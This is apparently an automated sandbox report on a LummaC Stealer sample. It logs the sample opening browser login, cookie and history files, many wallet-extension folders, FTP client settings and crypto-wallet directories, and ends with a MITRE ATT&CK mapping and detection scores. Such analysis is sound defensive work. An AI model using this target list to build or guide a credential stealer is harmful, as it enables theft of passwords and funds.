Source: C:\Users\user\Desktop\schost.exe	Process created: C:\Windows\SysWOW64\dxdiag.exe "C:\Windows\SysWOW64\dxdiag.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\dxdiag.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\schost.exe

Code function: 0_2_00007FF7B0C05D6C GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF7B0C05D6C

Source: C:\Windows\SysWOW64\dxdiag.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: dxdiag.exe, 00000003.00000003.1872362648.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1917537484.0000000000C72000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1859128313.0000000000C69000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000002.1918584485.0000000000C72000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\SysWOW64\dxdiag.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: dxdiag.exe PID: 7348, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: dxdiag.exe, 00000003.00000003.1834039838.0000000000C62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: dxdiag.exe, 00000003.00000003.1834039838.0000000000C62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: dxdiag.exe, 00000003.00000003.1834039838.0000000000C62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: dxdiag.exe, 00000003.00000003.1834039838.0000000000C62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Libertyle
Source: dxdiag.exe, 00000003.00000003.1834039838.0000000000C62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3c
Source: dxdiag.exe, 00000003.00000003.1834073036.0000000000C56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: dxdiag.exe, 00000003.00000003.1834073036.0000000000C56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\SysWOW64\dxdiag.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior

Source: Yara match

File source: Process Memory Space: dxdiag.exe PID: 7348, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: dxdiag.exe PID: 7348, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	311 Process Injection	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	41 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	23 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
schost.exe	54%	Virustotal		Browse
schost.exe	58%	ReversingLabs	Win32.Exploit.LummaC
schost.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

